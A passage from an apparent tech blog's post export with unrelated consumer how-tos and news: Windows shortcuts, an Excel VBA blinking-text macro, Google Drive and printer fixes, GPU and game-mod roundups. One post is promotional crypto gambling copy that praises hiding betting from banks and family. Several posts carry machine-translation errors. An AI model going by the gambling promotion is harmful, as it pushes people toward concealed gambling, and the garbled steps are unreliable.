OK to save the changes.\nNow you can browse the web as usual to see if this change has any effect.\nSee more:\nOfficially released TLS 1.3, promising a faster, safer Internet world 7 reasons your website needs an SSL certificate Knowledge of TCP / IP network protocols ncG1vNJzZmismaXArq3KnmWcp51kwamxjJupqK%2Bjmr9uw8ilo2arpKS9bsHSoqWgZaShwG59j2aYp5xdqbm0eZBqZKKmXWd9c3w%3D\n","link":"/post/the-browser-will-stop-using-tls-1-0-and-tls-1-1-in-2020/","section":"post","tags":null,"title":"The browser will stop using TLS 1.0 and TLS 1.1 in 2020"},{"body":"No job application (résumé) is perfect. Even extremely successful professionals make a small mistake. Amy Adler - a certified letter-writing expert, a manager in the field of management and also a career strategist for managers - has read more than 4,000 cover letters of executives and said there was a common mistake that many of these successful characters had.\n  She told Business Insider: \" Leaders often have a deep and successful career. But it is amazing to realize that their application does not always present strengths and successes. related to the needs that employers are looking for \". Amy said that people in leadership positions often have a self-centered approach, but this cannot help them in the long run.\nShe said: \" When writing a job application without studying or imagining what that potential position requires, they rely solely on the idea that the recruiter will read their application and suddenly notice \"This person is suitable, important and can handle the vacant position. The truth is that employers don't care about people they don't know and don't imagine where this person should be .\" For example, job seekers often list what they did on the job application as follows.\nAdler said: \" To tell the story of their career, they often say: I have done great things. Some examples can be mentioned as a restructuring of 16% of the entire staff. time and thus increase net profit to $ 150 thousand, ABC improvement process has created an annual growth rate (YOY growth) of 5% and brings 43 new customers annually \".\n  These things are not bad. In essence, they are what recruiters need from a member of their team, but Adler added that:\nBut those things don't say anything about their role in the future. When I read such lines in a job application, I wondered how such numbers could be transformed into employers' needs. I often tell my clients, even those with good qualities and achievements, that no single application can prove that its owner deserves this position but does not give see their role in the future, the requirements that employers demand, their expectations for candidates and how to measure success later.\n  Adler added: \" Some of the above questions can be answered independently, through market information and online job posting pages, but some will be answered through interviews. directly \".\nAuthor: Jacquelyn Smith\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKamrKxdmLyuuc6nZKaho6murLGMsJ%2Bepl2sv6rAyKeeZpldn7yjecCpp6Whk5bBqrvNZpyvnZ5irm6%2F1Jyanqujm8Ktec%2BeqaynnmLAtrLFnqms\n","link":"/post/the-most-common-mistake-when-writing-a-job-application-even-a-successful-person-suffers/","section":"post","tags":null,"title":"The most common mistake when writing a job application even a successful person suffers"},{"body":"Although it has been released for 9 years, the content in GTA 5 has never made gamers boring. However, in terms of graphics, it can be inferior to many games with super terrible graphics, and it is difficult to satisfy players with that old design.\nFortunately, GTA's modder community is still working hard to improve the shortcomings and the graphics are one of them. In this article, let's explore the TOP 5 mods that help bring the graphics of Grand Theft Auto V to a new level.\nVisualVanilla VisualVanilla is a mod that subtly improves the graphics without changing Rockstar Games' original idea of ​​how the game's setting should be.\n  This mod changes and improves a lot of things while keeping the original character and appeal. One of the biggest changes to this mod is the removal of annoying chromatic aberrations and an overhaul of the underwater environment.\nVisualV's stunning tweaks to areas and interiors, improved colors, fixed render code, and more, all weather has been reworked to match Rockstar Games' design as much as possible. .\nVisualV   VisualV is a major graphical revision to Grand Theft Auto V, giving the game completely reworked weather effects. Also included are tweaks to areas, interiors, improved color correction, and more. These changes bring Los Santos and Blaine County to life, making these areas look much more alive. .\nThe mod also fixes the rendering code of the game, so the gameplay experience will be smoother and more beautiful. Similar to VisualVanilla, VisualV also changed all weather effects in GTA 5.\nRTX-V Alter Graphics   RTX-V is a special mod that improves all the lighting effects, making the GTA V world look a lot more real. This mod is definitely on par with some paid ENB graphics mods like NaturalVision Evolved (NVE).\nOld Gen Visual This mod restores various graphic elements from the PS3/X360 version of the game to the PC version. Contrary to popular belief, this does not reduce the graphics quality of the PC version at all. Old Gen Visual offers a nostalgic feel of the games released in the 2010s, which some gamers will love.\n  Old Gen Visual changes many things, from timecycles, flashes, lightning, lights, clouds and more. Modder has also added some optional tweaks, such as alternate flare and the ability to remove fog mass and NGCoronas.\nPRSA - PhotoRealistic San Andreas ENB   PRSA ENB is a sophisticated all-in-one image enhancement tool that is compatible with all weather and lighting modes. It uses a set of custom shaders to bring out the most realistic and natural images possible, thereby serving as the basis for simulating various cinematic effects.\nPhotoRealistic San Andreas ENB makes GTA V look stunning in screenshots. Players can try out a variety of styles, simulating camera effects, film, color grading, and post-processing.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jK2mqWWXp66xtMicqmaln5nAbrLOq2SgrJFigg%3D%3D\n","link":"/post/top-top-graphics-mods-for-gta-5/","section":"post","tags":null,"title":"TOP top graphics mods for GTA 5"},{"body":"In the framework of the recently concluded CES 2020, Asus announced a huge new version of Nvidia RTX 2070 graphics card, specially designed for the innovation of mini gaming computer. Intel, called RTX 2070 Dual Mini. To be able to be used in a compact device, Asus GeForce RTX 2070 Dual Mini has been optimized to the maximum size, only less than 8 inches long (about 20cm), while retaining the fan design. Dual heat sinks are renowned for their excellent graphics processing performance.\nAsus said that this GPU model began shipping worldwide on January 8, but it looks like the product will only be available in retail systems in some major markets. According to information from UK retailer CCL Online, Asus GeForce RTX 2070 Dual mini (overclocked version) is currently listed for 405.64 Euro (about 525 USD - more than 12 million VND). This price is not cheap, so what's really special on this GPU model?\nIn fact, the idea of ​​a small dedicated GPU is not new. Asus has also introduced a GTX 1650 graphics card that is even smaller than the RTX 2070, and the interesting thing is that Asus is willing to put in the effort to develop a line of GPUs designed to fit perfectly. Intel's new NUC minicomputer model - a decision that is considered risky by the Taiwanese manufacturer.\nAsus confidently says that every detail of the design of the GeForce RTX 2070 Mini, from the layout of the case, cover, to the cooling fan is carefully calculated to fit in the extremely small chassis of the machine. NUC calculation. This feature also allows the mini-graphics card model to generate significantly less heat at the same level of performance than today's full-size graphics card models.\nAnother factor that is also worthwhile on the GeForce RTX 2070 Dual Mini is its extremely quiet performance. Testing shows that the RTX 2070 Dual Mini can run Shadow of the Tomb Raider at 1440p with maximum graphics settings while the noise of the fan is completely negligible, less annoying.\nThe GeForce RTX 2070 Dual Mini comes in two versions: The standard version runs at 1410MHz and is capable of overclocking to 1650MHz, while the OC version will run at higher frequencies: 1680MHz.\nHow do you think about this GPU model and its prospects in the market? Please leave your comments!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt06xkp52nYravecCsrKxlnprEbrnIp6Bmn6Cq\n","link":"/post/what-s-new-in-asus-new-mini-gpu/","section":"post","tags":null,"title":"What's new in Asus' new mini GPU?"},{"body":"1. Quick access to My Computer If you want to open This PC (My Computer) quickly instead of pressing the This PC (My Computer) icon on the screen, just press the Win + E key combination.\n 2. Switch between Tabs Use the Alt + tab combination to quickly switch between applications.\n But when you have too many apps open at the same time, use Win + Tab to open a small window of the applications you want to switch to without having to Alt + Tab repeatedly.\n 3. Fast lock the computer To lock the computer screen when you need to go somewhere without anyone else touching any documents on your computer, just press Win + L. Make sure that your computer account has created password. password for security.\n 4. Windows Video Recorder To record the screen video without having to download any software, just go to the Run dialog box (Win + R)\u0026gt; then type psr.exe\u0026gt; ​​press Enter to open the video recorder.\n To record a video you choose Star Record and to stop you choose Stop Record.\n 5. Rescue when application crashes To quickly open the Task Manager window when the program crashes, just press Ctrl + Shift + Esc\u0026gt; then select the frozen application and press End task. At this moment, the frozen application will be released and your device will work properly again.\n 6. Access the Desktop When you are stuck with an application in full screen mode, you have no way to get out, just press Win + D to exit the desktop.\n 7. Virtual keyboard When your keyboard is paralyzed a few buttons, to be able to use the virtual keyboard, just go to the dialog box Run (Win + R)\u0026gt; then enter osk.\n Then you press Enter to open the virtual keyboard. This will be the best assistant for times when your computer is stuck or damaged. Great if you use a touchscreen.\n 8. Quickly open a menu of commands A shortcut that I really like to use is Win + X, it includes a variety of options such as cmd access, Task Manager, Control Panel, Device Manager…. in order to be used very quickly without having to access the traditional way.\n Although there are a lot of shortcuts on Windows, but above are a few common shortcuts that you need to know to use Windows professionally and quickly.\nncG1vNJzZmismaXArq3KnmWcp51khW6vzqakqKZdoLK6rs6aqZ1lo528s8DCrqusZamkwm66xJ6bZqyfYrivu9Zmq6hlpaiybsPIp5uor6NivbO7xZ6qrKGfo66tuNg%3D\n","link":"/post/8-common-keyboard-shortcuts-you-need-to-know-to-use-windows-professionally/","section":"post","tags":null,"title":"8 common keyboard shortcuts you need to know to use Windows professionally"},{"body":"The many benefits that cryptocurrencies offer over fiat currencies are one of the main reasons why they are becoming popular each day.\nBefore you can check out some of the best crypto betting sites here, https://smartbettingguide.com/crypto-sports-betting/ you need to know the benefits that cryptocurrency betting sites offer. Also, it is important to know some of the features of crypto betting sites that you can trust. So keep reading to learn more.\n  The Benefits that Crypto Betting Sites Provide People are currently living in a digital age that is taking sports betting and other forms of gambling to the digital world. A crypto betting platform has much more to provide than its traditional counterpart.\nThe benefits that crypto betting sites offer are all a result of innovations in the cryptocurrency industry. Low fees, financial privacy, the option to be anonymous, and fast payouts are some of the benefits that crypto gambling sites offer. Let's take a closer look at all the benefits.\nLow Fees Traditional gambling sites can burden players with huge fees, including deposit and withdrawal fees and credit card fees, among others. Betting sites that accept cryptocurrencies have a strong advantage when it comes to transaction fees.\nTransferring cryptocurrencies saves lots of money as well as time compared to other options such as Visa, MasterCard, Skrill, Neteller, PaySafeCard and others. So if you want to enjoy low fees when making deposits or withdrawals, then you should sign up with top crypto sites in the market.\nFinancial Privacy Many gambling platforms currently offer high levels of privacy, thanks to the crypto payment methods available. Cryptocurrencies offer privacy that can be anonymous if you get everything right.\nFinancial privacy is very important as it helps you hide your activities from credit rating agencies, banks and even family members if you don't want them to know what you are doing. Since financial privacy is equivalent to financial freedom, you can do everything that you want with your hard-earned cash since, after all, it's your own money.\nBigger and Better Bonuses Top crypto sites generally offer bigger, better and more frequent bonuses and promotions than traditional betting and gambling sites. The main reason is that the different crypto options available help betting platforms to save significant amounts of money on chargeback fees and deposit and withdrawal fees, to name some of them.\nAfter saving some money, betting sites pass a small percentage of it to their customers in the form of better, bigger, generous and frequent promotions and bonuses. Welcome deals, free bets, cashback offers, VIP rewards and free-entry tournaments are some of the most popular bonuses that crypto betting platforms offer.\nAlmost Instant Deposits and Withdrawals Using cryptocurrencies at betting platforms makes transactions fly by, and that is the main reason why they have become popular among punters. There is no long waiting time before you can receive your funds. Many sites release winnings immediately after a player triggers a withdrawal request.\nAnd the funds only take a few minutes to reflect into your digital wallet. So if you want to receive your winnings almost instantly, you should consider signing up with sites that support the best cryptocurrencies in the market.\nHow to Pick the Best Crypto Betting Sites You Can Trust All types of players have their needs and requirements when it comes to selecting the best betting destinations. However, there are some common features that the best crypto betting sites have. And these features are what you should consider when you are looking for a platform to sign up with. Here are the main features:\nA Fully Licensed and Regulated Online Betting Environment The first thing that you need to look out for when picking a betting site is a valid license. You should only sign up with a site if it holds a license from one of the leading regulatory authorities. Many reputable sportsbooks and online casinos are fully licensed and regulated by either the United Kingdom Gambling Commission, Curacao eGaming, or the Malta Gaming Authority.\nThese regulatory authorities make sure that gambling sites offer safe and fair gaming services. If it is an online casino, they ensure that all of the games available offer random results which are not influenced by any party. Also, they ensure that they are well-audited by some of the respected third-party companies such as eCogra.\nBonuses and Free Bets A perfect crypto betting platform provides all new players with a generous welcome bonus. The bonus can be in the form of free spins, free bets, no deposit offer or a first deposit deal. Aside from the welcome bonus, many top crypto sites also offer some amazing bonuses and promotions for existing gamblers.\nThe most rewarding deal for existing punters is the VIP club promotion. This promotion comes with a wide range of goodies which range from tailored bonuses to free-entry tournaments. All bonuses and promotions come with many terms and conditions, including game and payment method restrictions.\nAlso, you will find some play-through requirements that you must fulfil in order to convert your bonus money into actual cash. A generous offer needs to have a wagering requirement that ranges between 5x and 30x. So always read the terms and conditions before claiming a sportsbook or casino bonus.\nVariety of Betting Markets Some sites only offer casino games, while others are dedicated to serving sports lovers. Currently, almost all gambling platforms offer both sports betting and casino games. This means that they are a perfect match for any type of gambler. A good site needs to offer all sports from major and minor leagues from across the world. Additionally, it should provide you with an opportunity to select from a massive array of markets.\nIn terms of wagering on casino games, a perfect site must offer different categories of betting markets. Whether you love live dealers, table games, scratch cards, progressive jackpots, or slot machines, you should be able to access lots of titles from top software makers.\nBanking Methods Banking methods determine the number of things, including minimum and maximum deposit and withdrawal amounts, bonuses and promotions, and payout waiting time, among others. This means that you need to be careful when picking a banking method as well as a betting site. Also, a banking method adds extra security and privacy level, especially when you want to remain anonymous.\nMany sites offer two categories of payment options. They include digital currencies and traditional banking methods. Crypto options are more secure than traditional payment methods. And they are a perfect option for those who don't want to reveal any of their sensitive information to gaming sites.\nThere are various types of cryptocurrencies which include Bitcoin, Zcash, Bitcoin Cash, Ethereum, LiteCoin and others. All these options offer much-needed privacy, but some of them are more enhanced than others. For example, Zcash is best known for being the most anonymous cryptocurrency in the market.\nAside from security, cryptocurrencies also offer instant deposits and relatively speedy payouts. Once a gambling platform processes a withdrawal request, you will receive your winnings anywhere between one and ten minutes, depending on your payment method of choice.\nMobile Compatibility Approximately 90% of all punters use mobile devices to place bets and play their favourite real money games. This means that for any betting site to be competitive enough, it must have a mobile platform.\nSimilar to many other punters, you will want to play from anywhere, anytime. And that is why you need to check if the site you are planning to sign up with has a fully optimised platform for mobile devices.\nYou can choose to download a mobile app or use a browser to access the main betting site. Mobile apps are ideal since they provide some notifications about the latest deals and tournaments. This will help you take advantage of any new deal.\nOn the other hand, an instant play platform is ideal as it provides access to all of the services available. And what is more? It is compatible with both tablets and smartphones and runs smoothly on different types of operating systems, including Windows, Blackberry, Android and iOS.\nCustomer Support Services All of the best crypto betting sites have professional and friendly customer support teams. So if you choose one of them, you will be sure to enjoy 24/7 support service through popular channels like email, live chat and telephone.\nAdditionally, you will find a dedicated FAQs page that provides lots of solutions to common problems. It is always advisable to pick a site that will allow you to contact the support team any time you encounter a problem.\nFinal Thoughts Crypto betting sites will only continue to increase in number thanks to the many advantages that they offer. Whether you are new to betting or a seasoned punter, you should consider gaming at the best crypto betting sites. And the good news is that you can find some amazing options here.\nCrypto Betting ncG1vNJzZmismaXArq3KnmWcp51ksLPFz62mZpqVqcGqusZmqqKslah6urvUZpqapl2pv7a%2F0w%3D%3D\n","link":"/post/crypto-betting-sites-you-can-trust/","section":"post","tags":null,"title":"Crypto Betting Sites You Can Trust"},{"body":"Broadcasting video on Facebook now not only supports mobile users, but we can also live Stream Video Facebook from computer thanks to Open Broadcaster Software. This helps a lot of people, especially gamers who can directly share fierce battles with their opponents to friends.\nThis is how Live Stream Facebook Video on PC Instructions for setting up Live Stream Video feature on Facebook However, some people get errors when they go to the server, go to the dialog box saying \"Choose the location where you want to broadcast live video broadcast\" press the Next button. Some computers fix by clicking the \"x\" icon in the address bar to unblock pop-ups. But some do not have an \"x\", making the live Stream video stuck at this step. So how to handle?\n  In this article, Network Administrator will guide you step by step to fix pop-up blocking error when playing live Stream video Facebok from your computer on Chrome or Coc Coc browser.\nStep 1: If your computer is installing security control utilities like: Kaspersky, Safe Browsing or Adblock Plus please turn them off.\nAt the interface of the Chrome browser, click on the 3 dash icon in the top right corner, select Other tools and select Extensions .\n  Step 2: Find extensions to control security, remove traces to disable them.\nNote, if your computer does not install security utilities, you can skip this step.\n  \nStep 3: After turning off these security utilities, go back to the AnCMS Systems page. Here, you right-click the address bar icon . Then select the Pop-up window: Allowed by you , select Always allow on this site .\nNote, press F5 to set the effect on the page.\n  \nStep 4: To manage the pop-up to the fullest, go to Settings on Chrome browser.\n  Step 5: Scroll down and select the Show advanced settings section .\n  Step 6: In the Security section, select Content settings .\n  In the Pop-up window , check the Do not allow any site to display pop-up window (should be selected) and then click Manage exceptions .\n  Step 7: In the Server name form box, enter the line [*.] Ancms.systems , select Allow and click Finish to save the setting.\n  This will set the exception to not block pop-ups with the Facebook Live playback window, but will still block other pop-ups. So, you can completely stream Facebook videos on your computer to your friends, without blocking pop-ups.\nRefer to the following articles: How to permanently delete Facebook account 8 How to fix Facebook access errors 10 ways to access Facebook and blocked websites I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjJujqJubnruoec%2Bop66oo2LEqbHNZqqtqpWWum64yK%2BcZp6RmLKju86kZK%2BhlJq8tHnOp2Spmw%3D%3D\n","link":"/post/fix-blocking-pop-ups-when-stream-live-facebook-videos-on-pc/","section":"post","tags":null,"title":"Fix blocking pop-ups when Stream Live Facebook videos on PC"},{"body":"Despite being \"released\" but Pokemon GO has really become \"focal point\" during the past time. However, like other games, during the process of playing Pokemon GO players cannot avoid errors. One of the most common errors is the \"Error getting player information from the server\" error. So how to fix this error, please refer to the following article of Network Administrator.\n  1. Use Airplane Mode Step 1: Close the Pokemon GO app on your device.\nStep 2: Next \"take\" your mobile device into Airplane Mode. To do this, the fastest way is to swipe down from the screen to open the Notification panel. Here you will see the flight mode icon, click the icon to \"put\" your phone into flight mode.\nOr if using iPhone, you can easily 'put' your device into airplane mode by adjusting in the Settings app.\nStep 3: Open the Pokemon GO app on your device again. Now you will see the Niantic Logo located next to the Loading bar.\nStep 4: The game will not load, and you will see the No Internet Connectivity message in the top corner of the screen. The next step is to \"get\" your mobile device \"off\" from Airplane Mode.\nStep 5: After you have turned off the flight mode on your mobile device, you will now see the Loading bar will be loaded and you can start playing the game.\n2. Reinstall Pokemon GO Suppose in case if you have applied the above method and still cannot fix the error, you can fix the error by reinstalling Pokemon GO.\nTo do this, follow the steps below:\n- First uninstall Pokemon GO on the main screen or visit Settings =\u0026gt; App Management =\u0026gt; Pokemon Go =\u0026gt; Uninstall.\n- Next go to Google Play Store again to download Pokemon GO to your device and install.\nDownload Pokemon GO for Android here. Download Pokemon GO for iOS here. Download Pokemon GO for PC computers here. - Open Pokemon GO again and log in to your account to play the game.\nRefer to some of the following articles: Some tricks to locate Pokemon GO How to catch Pokemon rare in Pokemon GO How to fix \"GPS signal not found\" error and some other errors when playing Pokemon GO Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ks6rExJ1kmmWSqrRuw8itn2adoqe8s3nGnqutoZ6cerG4wLKcq2WZo7Owvsyaq6KnnmKzs7vMZquhnV2osrPCxKtknqqipL9uw8eepWaonJbGqrrGZqeoo5WivK95xqg%3D\n","link":"/post/fixed-a-bug-with-error-getting-player-information-from-the-server-error-when-playing-pokemon-go/","section":"post","tags":null,"title":"Fixed a bug with 'Error getting player information from the server' error when playing Pokemon GO"},{"body":"When Apple introduced iOS 14 in June, the company spent a lot of time demonstrating features that could change the home screen and apps like Safari, messaging, and Siri. However, iOS 14 also contains many other new things. The most attractive feature is the 'Back Tap' feature that allows you to perform multiple tasks on the iPhone by touching the back of the device.\nBack Tap is available on iPhone 8, iPhone 8 Plus, iPhone X, iPhone XS, iPhone XS Max, iPhone XR, iPhone 11, iPhone 11 Pro, and iPhone 11 Pro Max. Here's how to use it:\n  First, open the iPhone settings app and select Accessibility.\n  Select Touch.\n  Scroll down, select Back Tap.\n  Choose double or triple tap on the back of iPhone to activate Back Tap.\n  Select the task you want to activate when using Back Tap.\nAs the screen above, there are many commands you can use via Back Tap, such as calling Siri, taking a screenshot, increasing or decreasing the volume, returning to the home screen.\niOS 14 for download from yesterday, September 17. To update iOS 14, on iPhone, users go to Settings\u0026gt; General\u0026gt; Software Update. Your device will connect to the Apple servers and start the download process. Follow the steps on the screen to finish.\niOS 14 Back Tap ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8Gzu8tmoKmgn6OybsPIrZ%2BoraRiwbDBwqGgp59dqbWmedKcqZ6dnmK2r3nIqKpmaWQ%3D\n","link":"/post/how-to-control-iphone-without-touching-the-screen-in-ios-14/","section":"post","tags":null,"title":"How to control iPhone without touching the screen in iOS 14"},{"body":"For those who work extensively with Excel, in addition to advanced Excel functions, VBA and Excel programming languages ​​are also used. VBA on Excel stands for Visual Basic for Application. We use VBA programming language to write macros. Macros are complete programs that automatically execute the commands you have written. And if you want to create a flash text effect on Excel, you need to use this VBA.\nWith this effect we can highlight certain content in Excel data sheet to readers. In particular, users can change the blinking font color through the code. The following article will guide you how to create flashing letters on Excel.\nHow to break VBA password in Excel How to send email from Excel spreadsheet with VBA script 10 ways to recover corrupted Excel files Forgot password protected Excel file, what should you do? Instructions for creating flashing letters on Excel Step 1:\nOpen the Excel file and press Alt + F11 to open Excel's VBA code.\nAt the Microsoft Visual Basic dialog box for Applications users click on Insert and select Module as shown below.\n  Step 2:\nDisplay the Moude interface for you to paste the code below into the interface.\n Sub StartBlink () Dim xCell As Range Dim xTime As Variant Set xCell = Range (\"A1\") With ThisWorkbook.Worksheets (\"Sheet1\"). Range (\"A1\"). Font If xCell.Font.Color = vbRed Then xCell.Font.Color = vbWhite Else xCell.Font.Color = vbRed End If End With xTime = Now + TimeSerial (0, 0, 1) Application.OnTime xTime, \"'\" \u0026amp; ThisWorkbook.Name \u0026amp; \"'! StartBlink\",, True End Sub  Note that you should copy the above code into Notepad and then edit it again The position of the cell and the working Sheet is the position of the text you want to create the flash effect. In the text that is written in cell A1 and in Sheet 1. Users can enter any cell and Sheet that they want.\nPress Alt + Q to turn off the dialog box.\n  Step 3:\nIn the correct position of the cell and Sheet in the code you have created, enter the content you want to create a flashing effect on Excel.\n  Click on the Developer tab and then select the Insert item below and click on the Button (Form control) icon .\n  Step 4:\nDraw any square in the Excel interface to make the button activate the blinking effect for the word.\n  Once you release the mouse button, the Assign Macro dialog box will display. Here the user will need to select 2 items:\nMacro name: You select StartBlink. Printed Macros: Click This Worknook on the list. Click OK to save the settings.\n  Step 5:\nTo change the text in the new frame, right-click and choose Edit Text .\n  Enter any content you want into this frame and press Enter to save it. If you want, users can still change the font, the font size for this Button.\n  The end result when clicking on that button will automatically flash the text according to the color we have set in the code, here is red and white.\n  In case you want the word flashing green to red, click on the Developer tab and select Visual Basic .\n  Next change from white (White) to blue (Blue) in the code as shown below. Also press Alt + Q to save this new code.\n  The word results will flash from red to blue.\n  Through VBA in Excel, you have added a way to create content highlighting in the data with an automatic blinking effect. Note that we need to enter the correct code, especially the brackets in the code, to avoid error after applying the code.\nThe video makes the text flash automatically on Excel I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyfo5qrmJ67qHnLnqutnaKoerC6jJ6vnJ2c\n","link":"/post/how-to-create-flashing-letters-on-excel/","section":"post","tags":null,"title":"How to create flashing letters on Excel"},{"body":"Google Drive is definitely a reliable backup and sync solution with a range of handy features that make user work easier. However, Google Drive often has problems downloading files like upload speed is very slow or the file cannot be uploaded. If you encounter a Google Drive file download error, here are some fixes.\nNote: The instructions below are for the Google Drive version on the web because it often happens to be a file download issue.\nHow to fix the problem of not uploading files to Google Drive 1. Use an incognito window 2. Delete browser data 3. Use another browser 4. Make sure the image is turned on 5. Check Google service status 6. Network problems 7. File upload is problematic 1. Use an incognito window The first solution is to use an incognito window, which can fix many of the problems on the web including upload issues. A separate, anonymous window that does not use stored cookies can affect the normal browser. Just open an incognito window in your browser and log in to Google Drive, then reload the file and see if this works.\n  To open an incognito window, press Ctrl + Shift + N or Ctrl + Shift + P for most browsers, although you can also open the incognito window in your browser's main menu.\n2. Delete browser data Browser to save cookies, cache and other data to help users browse the web faster and easier. However, sometimes these data may also create web browsing issues, such as being unable to upload files. Here, the article will show you how to delete data in Chrome. If you are using a different browser, check the instructions in this article.\nFrom Chrome's main menu, click on ' History ' or press Ctrl + H , then click \" Clear browsing data \" and the options will open. Alternatively, you can also paste chrome: // settings / clearBrowserData into the address bar and press Enter to directly access this window.\n  Select \" All time \" next to \" Time range \" and make sure to select all three options. You can uncheck the \" Browser history \" option in case you want to keep your browsing history. Now click \" Clear Data \" to delete browser data and then try uploading files in Google Drive.\n  3. Use another browser If the above solutions don't fix the problem of uploading to Google Drive, try using a different browser. For many, Opera and Chrome browsers work fine, you can try using one of these browsers and see if it fixes the problem. In addition, this error may occur because of a temporary support issue with the browser or because the browser does not support Google Drive. However, this is not true for popular browsers like Chrome, Firefox, Opera, Safari, Internet Explorer and Microsoft Edge.\nIf you are using one of these browsers, try updating your browser to the latest version. If this is not possible, waiting for the next version update may fix this problem.\n4. Make sure the image is turned on For some reason, Google Drive stops working if the image is disabled in the browser. You can use it to edit and view data, but cannot upload and download.\n  In the Chrome browser, click on the three horizontal dots menu at the top right, select Settings\u0026gt; Show advanced settings\u0026gt; Content settings in the Privacy\u0026gt; Show all images (recommended) section.\nIn Opera browser, click the Opera menu in the top left corner, select Settings\u0026gt; Websites\u0026gt; Show all images (recommended).\n5. Check Google service status Although this is rarely the case, it can also cause Google Drive to temporarily stop working. You can check the G Suite Status Dashboard to see the current status of all Google services.\n  6. V about the network It is possible that the problem that caused the problem of not downloading files to Google Drive is due to network problems. Restarting the router usually solves this problem. If that fails, try changing the IP address and turning off the firewall. Using VPN may also affect the upload process, so make sure the VPN has been disabled.\n  7. File upload is problematic To confirm this, try downloading three separate file types and see if they can be uploaded to Google Drive. If uploading, it means that the previous file you intend to upload is problematic. In this case, try changing the name and file format if possible. Also, make sure there are no special characters in the file name like? /.\nThe best online file conversion tools for all your formatting needs If the file is larger than 2 GB, try separating the file and then uploading. A tool like 7-zip can help you. You can refer to the article How to download files on Google Drive when the download limit is exceeded.\nHow to extract Zip files directly on Google Drive Hopefully the above solutions can overcome the problem of uploading files to your Google Drive. You can also try logging out of your Google account and logging in again.\nI wish you all success!\nSee more:\nHow to create an unlimited Google Drive Unlimited account How to get 1TB of Google Drive capacity for free The tips should know with PDF files on Google Drive ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqmvtGoqaxllKR6r7vTZqyppJ%2BWsW6yyKWcrGWkpHqou86go55llKe2t7E%3D\n","link":"/post/how-to-fix-errors-do-not-upload-files-to-google-drive/","section":"post","tags":null,"title":"How to fix errors do not upload files to Google Drive"},{"body":"When you use the printer, it is not possible to avoid some errors that lead to the inability to use the device, such as a failure to connect the computer to use the printer, or an error that does not receive paper, print errors, . Among them must be the printer error in offline offline state.\nNormally before printing, you need to start and power on the device to go online online status. However, many people have a situation even though they have turned on the printer but the device still reports that it is offline offline. There are many reasons why the device does not receive online status. In the article below we will show some of the most common causes and how to handle these causes.\nInstructions for installing Canon LBP 2900 printer on Windows Instructions on how to check and install the IP address for the printer Common printer errors and how to fix them Method 1: Restart the device First of all, if the device is still offline, you should restart the computer. We turn off the computer and the printer. Then, turn on the printer power and wait until the network connection is complete.\nIf using a USB cable, only the printer will complete the boot process. Then try to see if the printer has online status.\nWe need to turn off the printer completely, not switch it to sleep mode. If necessary, unplug the printer's power cord and wait for about 30 seconds.\n  Method 2: Install printer support utilities You can try the support software that comes with the printer. These utilities are able to identify printers on the LAN and handle problems leading to offline printer status.\nMost printer manufacturers have built-in support software such as with HP printers, you can use the HP Print and Scan Doctor software. For Canon printers, we need to access the page below and enter the model number, then select the Software tab to download the software in accordance with the type of printer in use.\nhttps://www.usa.canon.com/internet/portal/us/home/support/ For Dell printers, visit the driver page below. Then search your printer line and download the corresponding application.\nhttp://www.dell.com/support/home/vn/en/vnbsdt1/products/printers_main?app=drivers In addition, users can check whether the printer has installed the supported software , by accessing the printer system settings on Windows 10.\nGo to Settings , select Devices, then select Printers and Scanners .\n  Windows 10 will list the printer list below. We click on the printer that has the problem and click the Manage button. If the printer has installed the support software, you will see the Open printer app button. If not, you will see the Get app button as shown below.\n  Method 3: Check printer settings In the case of offline newspaper printer, you can check the configuration information set. On the Control Panel , click Devices and Printers and then double-click on the printer.\nHere you click the Printer button and uncheck the box at the Pause Printing options and Use Printer Offline .\n  Method 4: Use the printer error correction tool on Windows This will apply to Windows system failure. We will need to use the Windows troubleshooter troubleshooting tool . Click Settings, select Devices and select Printers and Scanners .\nNext, click the Manage button at the printer that has the problem and then click Run the troubleshooter . Click on that option to check the service, set up the network, .\n  Method 5: Check the printer port settings If the printer is of a network connection type and has an IP address, the offline error may be due to the port configuration. It is possible that the printer IP address has changed but the port configuration still points to the old IP address.\nStep 1:\nWe need to look up the printer's IP address through the use of free network scanning tools to see the IP addresses of all devices on the network.\nWith Windows computers, SoftPerfect Network Scanner software can be used.\nhttps://www.softperfect.com/products/networkscanner/ Macs can use software like LanScan or Angry IP Scanner\nhttp://angryip.org/ https://itunes.apple.com/us/app/lanscan/id472226235?mt=12 Step 2:\nOnce you know the printer's IP address, go to Control Panel and select Devices and Printers . Right-click on the printer select Printer Properties .\n  Select the Ports tab and look down at the list below to find the IP Port line. Click and then click the Configure Port button.\n  Step 3:\nNew interface appears with the printer's IP address. If the printer address is different from the IP address displayed in this interface, the IP address has been changed. Please update the new printer IP address at the Printer Name or IP Address line. Click OK to save.\n  In case of error report as shown below, this port is the WSD (Web Services for Devices) port, the automatic configuration port and the user is forced to create a new TCP / IP port by clicking Add port in the interface. in step 2, then follow the instructions.\n  However, to implement this method is quite complicated and requires expertise. If you fail to do so, you can delete the printer and reinstall the printer at Method 6 below to have the system automatically update the printer's IP address.\nMethod 6: Delete the printer and reinstall it When Windows recognizes a new printer, it checks the settings, making sure the printer is installed correctly.\nStep 1:\nTo delete the printer go to the Control Panel and select Devices and Printers . Right-click on the printer with the error and select Remove device . Next restart the computer.\n  Step 2:\nWhen the computer turns on, select Add a printer and Windows will automatically detect the printer directly connected or via the network.\n  Method 7: Reinstall the driver for the printer Finally the cause of an offline printer error may be due to the driver. Users should download the driver from the manufacturer's homepage. But first you need to delete the current driver.\nStep 1:\nIn the Windows search bar, type Print Management and then click on the search result. New interface appears, in the list on the left you click on Printer Servers and then select the computer name. Below is the list of additional items that will be clicked on Drivers .\nImmediately you will see the drivers installed on the system.\n  Step 2:\nIn this list click on the driver name you want to delete. However, make sure there are no printers that use this driver. Select Printers in the left pane. If you want to delete both the driver and the printer, right-click on the printer and select Delete .\n  Step 3:\nIf you want to keep the printer name but only delete the driver , right-click the printer and select Properties and then select the Advanced tab in the new interface that appears.\nIn the section of Driver click to select will appear a drop down list. We will change the current driver to another driver. Please select another driver except the driver you want to delete.\n  